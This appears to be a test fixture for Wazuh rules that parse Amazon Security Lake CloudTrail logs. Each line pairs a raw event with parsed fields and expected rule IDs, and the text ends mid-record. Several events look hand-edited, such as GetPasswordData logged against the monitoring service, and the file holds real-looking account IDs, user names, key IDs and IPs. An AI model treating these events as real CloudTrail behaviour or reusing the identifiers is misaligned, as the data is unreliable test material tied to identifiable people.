[\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "CreateRole", "api.request.uid": "50ce3d1c-ad17-466f-8724-62c6ed1b61d3", "api.response.error": "null", "api.response.message": "null", "api.service.name": "monitoring.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "AWS Internal", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680265937000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPPUVMVKXH", "identity.user.name": "javier.medeot", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPI6FVZ4SEC", "identity.user.uuid": "arn:aws:iam::567970947422:user/javier.medeot", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "7a73c797-75ca-4355-a703-cb88a5259805", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "186.127.25.250", "src_endpoint.uid": "null", "time": "1680290782000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['requestParameters', '{\"maxRecords\":100}'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99022", "level": "3", "expected_decoder": "json", "expected_rule": "99022", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - CloudTrail - Successful API Operation by user from srcip."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680275892000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"PutObject\", \"request\": {\"uid\": \"NMC8MTA3E1793RVC\"}, \"version\": null, \"service\": {\"name\": \"s3.amazonaws.com\"}}, \"ref_event_uid\": \"c463c54b-3432-4db8-81de-dbca7fda12a7\", \"src_endpoint\": {\"uid\": \"vpce-06f1b2645e5d578c4\", \"ip\": null, \"domain\": \"securitylake.amazonaws.com\"}, \"resources\": [{\"uid\": \"arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp/aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023033115/70c39c1f6750aa35e4e563d2fa7306ce.gz.parquet\", \"account_uid\": null, \"type\": \"AWS::S3::Object\"}, {\"uid\": \"arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\", \"account_uid\": \"567970947422\", \"type\": \"AWS::S3::Bucket\"}], \"identity\": {\"user\": {\"type\": \"AWSService\", \"name\": null, \"uid\": null, \"uuid\": null, \"account_uid\": null, \"credential_uid\": null}, \"session\": {\"created_time\": null, \"mfa\": null, \"issuer\": null}, \"invoked_by\": \"securitylake.amazonaws.com\", \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"securitylake.amazonaws.com\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Data\"], [\"sharedEventID\", \"1f2779c6-9386-4b6b-8239-99065d1b05f6\"], [\"responseElements\", \"{\\\"x-amz-server-side-encryption\\\":\\\"AES256\\\"}\"], [\"requestParameters\", \"{\\\"bucketName\\\":\\\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\\\",\\\"Host\\\":\\\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\\\",\\\"x-amz-acl\\\":\\\"bucket-owner-full-control\\\",\\\"key\\\":\\\"aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023033115/70c39c1f6750aa35e4e563d2fa7306ce.gz.parquet\\\"}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"false\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"false\"], [\"additionalEventData\", \"{\\\"SignatureVersion\\\":\\\"SigV4\\\",\\\"CipherSuite\\\":\\\"ECDHE-RSA-AES128-GCM-SHA256\\\",\\\"bytesTransferredIn\\\":12294,\\\"SSEApplied\\\":\\\"Default_SSE_S3\\\",\\\"AuthenticationMethod\\\":\\\"AuthHeader\\\",\\\"x-amz-id-2\\\":\\\"RDc4/4Xa4qms34j/fZAnkJVxLs77jUq2/Uy3oUH6cnoW6oOz7N/PjWdDaEqL3nqoFSEv4YLyWs8=\\\",\\\"bytesTransferredOut\\\":0}\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "PutObject", "api.request.uid": "NMC8MTA3E1793RVC", "api.response.error": "null", "api.response.message": "null", "api.service.name": "s3.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "securitylake.amazonaws.com", "identity.idp.name": "null", "identity.invoked_by": "securitylake.amazonaws.com", "identity.session.created_time": "null", "identity.session.issuer": "null", "identity.session.mfa": "null", "identity.user.account_uid": "null", "identity.user.credential_uid": "null", "identity.user.name": "null", "identity.user.type": "AWSService", "identity.user.uid": "null", "identity.user.uuid": "null", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "c463c54b-3432-4db8-81de-dbca7fda12a7", "resources": "[{'uid': 'arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp/aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023033115/70c39c1f6750aa35e4e563d2fa7306ce.gz.parquet', 'account_uid': None, 'type': 'AWS::S3::Object'}, {'uid': 'arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp', 'account_uid': '567970947422', 'type': 'AWS::S3::Bucket'}]", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "securitylake.amazonaws.com", "src_endpoint.ip": "null", "src_endpoint.uid": "vpce-06f1b2645e5d578c4", "time": "1680275892000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Data'], ['sharedEventID', '1f2779c6-9386-4b6b-8239-99065d1b05f6'], ['responseElements', '{\"x-amz-server-side-encryption\":\"AES256\"}'], ['requestParameters', '{\"bucketName\":\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\",\"Host\":\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\",\"x-amz-acl\":\"bucket-owner-full-control\",\"key\":\"aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023033115/70c39c1f6750aa35e4e563d2fa7306ce.gz.parquet\"}'], ['recipientAccountId', '567970947422'], ['readOnly', 'false'], ['eventType', 'AwsApiCall'], ['managementEvent', 'false'], ['additionalEventData', '{\"SignatureVersion\":\"SigV4\",\"CipherSuite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"bytesTransferredIn\":12294,\"SSEApplied\":\"Default_SSE_S3\",\"AuthenticationMethod\":\"AuthHeader\",\"x-amz-id-2\":\"RDc4/4Xa4qms34j/fZAnkJVxLs77jUq2/Uy3oUH6cnoW6oOz7N/PjWdDaEqL3nqoFSEv4YLyWs8=\",\"bytesTransferredOut\":0}']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99023", "level": "3", "expected_decoder": "json", "expected_rule": "99023", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - CloudTrail - Successful API Operation."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680375508000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"GetObject\", \"request\": {\"uid\": \"EETZJHE0KH99BBQP\"}, \"version\": null, \"service\": {\"name\": \"s3.amazonaws.com\"}}, \"ref_event_uid\": \"9f64a211-6bca-46c7-8038-74b58ed4250a\", \"src_endpoint\": {\"uid\": null, \"ip\": \"152.171.212.190\", \"domain\": null}, \"resources\": [{\"uid\": \"arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp/aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023040118/0ec39f175e03649046975a26cc4a4faf.gz.parquet\", \"account_uid\": null, \"type\": \"AWS::S3::Object\"}, {\"uid\": \"arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\", \"account_uid\": \"567970947422\", \"type\": \"AWS::S3::Bucket\"}], \"identity\": {\"user\": {\"type\": \"AssumedRole\", \"name\": null, \"uid\": \"AROAYIPNU4FPKWRVMKFS2:WazuhLogParsing\", \"uuid\": \"arn:aws:sts::567970947422:assumed-role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1/WazuhLogParsing\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPHJLUAB5V\"}, \"session\": {\"created_time\": 1680375505000, \"mfa\": false, \"issuer\": \"arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\"}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"[Boto3/1.17.85 Python/3.9.16 Linux/6.2.0-76060200-generic Botocore/1.20.85]\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Data\"], [\"userIdentity_sessionContext_sessionIssuer_accountId\", \"567970947422\"], [\"requestParameters\", \"{\\\"bucketName\\\":\\\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\\\",\\\"Host\\\":\\\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\\\",\\\"key\\\":\\\"aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023040118/0ec39f175e03649046975a26cc4a4faf.gz.parquet\\\"}\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"userIdentity_sessionContext_sessionIssuer_userName\", \"AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\"], [\"additionalEventData\", \"{\\\"SignatureVersion\\\":\\\"SigV4\\\",\\\"CipherSuite\\\":\\\"ECDHE-RSA-AES128-GCM-SHA256\\\",\\\"bytesTransferredIn\\\":0,\\\"AuthenticationMethod\\\":\\\"AuthHeader\\\",\\\"x-amz-id-2\\\":\\\"uSALiYQ8bnDNNwUjmo0DwPy48gHeUWIoWQYvMvJJu3lKBbwgdf7m2BowwMDpozuU3+4vCZ4Jh2TJ8hkBJ76+jg==\\\",\\\"bytesTransferredOut\\\":12415}\"], [\"userIdentity_sessionContext_sessionIssuer_type\", \"Role\"], [\"tlsDetails\", \"{\\\"tlsVersion\\\":\\\"TLSv1.2\\\",\\\"cipherSuite\\\":\\\"ECDHE-RSA-AES128-GCM-SHA256\\\",\\\"clientProvidedHostHeader\\\":\\\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\\\"}\"], [\"recipientAccountId\", \"567970947422\"], [\"userIdentity_sessionContext_sessionIssuer_principalId\", \"AROAYIPNU4FPKWRVMKFS2\"], [\"managementEvent\", \"false\"], [\"userIdentity_sessionContext_sessionIssuer_arn\", \"arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "GetObject", "api.request.uid": "EETZJHE0KH99BBQP", "api.response.error": "null", "api.response.message": "null", "api.service.name": "s3.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "[Boto3/1.17.85 Python/3.9.16 Linux/6.2.0-76060200-generic Botocore/1.20.85]", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680375505000.000000", "identity.session.issuer": "arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1", "identity.session.mfa": "false", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPHJLUAB5V", "identity.user.name": "null", "identity.user.type": "AssumedRole", "identity.user.uid": "AROAYIPNU4FPKWRVMKFS2:WazuhLogParsing", "identity.user.uuid": "arn:aws:sts::567970947422:assumed-role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1/WazuhLogParsing", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "9f64a211-6bca-46c7-8038-74b58ed4250a", "resources": "[{'uid': 'arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp/aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023040118/0ec39f175e03649046975a26cc4a4faf.gz.parquet', 'account_uid': None, 'type': 'AWS::S3::Object'}, {'uid': 'arn:aws:s3:::aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp', 'account_uid': '567970947422', 'type': 'AWS::S3::Bucket'}]", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "152.171.212.190", "src_endpoint.uid": "null", "time": "1680375508000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Data'], ['userIdentity_sessionContext_sessionIssuer_accountId', '567970947422'], ['requestParameters', '{\"bucketName\":\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp\",\"Host\":\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\",\"key\":\"aws/ROUTE53/region=us-east-1/accountId=567970947422/eventHour=2023040118/0ec39f175e03649046975a26cc4a4faf.gz.parquet\"}'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['userIdentity_sessionContext_sessionIssuer_userName', 'AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1'], ['additionalEventData', '{\"SignatureVersion\":\"SigV4\",\"CipherSuite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"bytesTransferredIn\":0,\"AuthenticationMethod\":\"AuthHeader\",\"x-amz-id-2\":\"uSALiYQ8bnDNNwUjmo0DwPy48gHeUWIoWQYvMvJJu3lKBbwgdf7m2BowwMDpozuU3+4vCZ4Jh2TJ8hkBJ76+jg==\",\"bytesTransferredOut\":12415}'], ['userIdentity_sessionContext_sessionIssuer_type', 'Role'], ['tlsDetails', '{\"tlsVersion\":\"TLSv1.2\",\"cipherSuite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"clientProvidedHostHeader\":\"aws-security-data-lake-us-east-1-fx1db6hfupnadeixhhsfnnqgwxvmdp.s3.amazonaws.com\"}'], ['recipientAccountId', '567970947422'], ['userIdentity_sessionContext_sessionIssuer_principalId', 'AROAYIPNU4FPKWRVMKFS2'], ['managementEvent', 'false'], ['userIdentity_sessionContext_sessionIssuer_arn', 'arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99024", "level": "3", "expected_decoder": "json", "expected_rule": "99024", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - CloudTrail - Successful API Operation from srcip."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680609823000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeEventAggregates\", \"request\": {\"uid\": \"6caab450-4600-4125-83b9-613aa773b2a2\"}, \"version\": null, \"service\": {\"name\": \"health.amazonaws.com\"}}, \"ref_event_uid\": \"6af6a63a-8bb3-428d-a1f4-fd29f9e83299\", \"src_endpoint\": {\"uid\": null, \"ip\": null, \"domain\": \"AWS Internal\"}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"facundo.dalmau\", \"uid\": \"AIDAYIPNU4FPNQVGPI26X\", \"uuid\": \"arn:aws:iam::567970947422:user/facundo.dalmau\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPBWJ76265\"}, \"session\": {\"created_time\": 1680609815000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": \"AWS Internal\", \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"filter\\\":{\\\"startTimes\\\":[{\\\"from\\\":\\\"Mar 28, 2023, 12:03:43 PM\\\"}],\\\"eventStatusCodes\\\":[\\\"open\\\",\\\"upcoming\\\"]},\\\"aggregateField\\\":\\\"eventTypeCategory\\\"}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "DescribeEventAggregates", "api.request.uid": "6caab450-4600-4125-83b9-613aa773b2a2", "api.response.error": "null", "api.response.message": "null", "api.service.name": "health.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "AWS Internal", "identity.idp.name": "null", "identity.invoked_by": "AWS Internal", "identity.session.created_time": "1680609815000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPBWJ76265", "identity.user.name": "facundo.dalmau", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPNQVGPI26X", "identity.user.uuid": "arn:aws:iam::567970947422:user/facundo.dalmau", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "6af6a63a-8bb3-428d-a1f4-fd29f9e83299", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "AWS Internal", "src_endpoint.ip": "null", "src_endpoint.uid": "null", "time": "1680609823000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['requestParameters', '{\"filter\":{\"startTimes\":[{\"from\":\"Mar 28, 2023, 12:03:43 PM\"}],\"eventStatusCodes\":[\"open\",\"upcoming\"]},\"aggregateField\":\"eventTypeCategory\"}'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99025", "level": "3", "expected_decoder": "json", "expected_rule": "99025", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - CloudTrail - Successful API Operation by user."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290782000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"GetPasswordData\", \"request\": {\"uid\": \"50ce3d1c-ad17-466f-8724-62c6ed1b61d3\"}, \"version\": null, \"service\": {\"name\": \"monitoring.amazonaws.com\"}}, \"ref_event_uid\": \"7a73c797-75ca-4355-a703-cb88a5259805\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxRecords\\\":100}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290783000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstanceStatus\", \"request\": {\"uid\": \"5df43e93-4a05-497b-bef6-cc30105e028d\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"f751b1d8-8923-4975-9c95-c93a36485e15\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-08f69652bddf329c6\\\"},{\\\"instanceId\\\":\\\"i-0ade6659862bbc885\\\"},{\\\"instanceId\\\":\\\"i-0710bad5b508b7466\\\"},{\\\"instanceId\\\":\\\"i-0d9e76e5b1c5e9074\\\"},{\\\"instanceId\\\":\\\"i-0a7d0c7b4474826c1\\\"},{\\\"instanceId\\\":\\\"i-082b4362d842263ad\\\"}]},\\\"filterSet\\\":{},\\\"includeAllInstances\\\":false}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290785000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstances\", \"request\": {\"uid\": \"59128c45-403a-436e-88ed-894c1fbd252c\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"6e397d33-caf9-4d41-875e-fc05b72ebe9b\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", 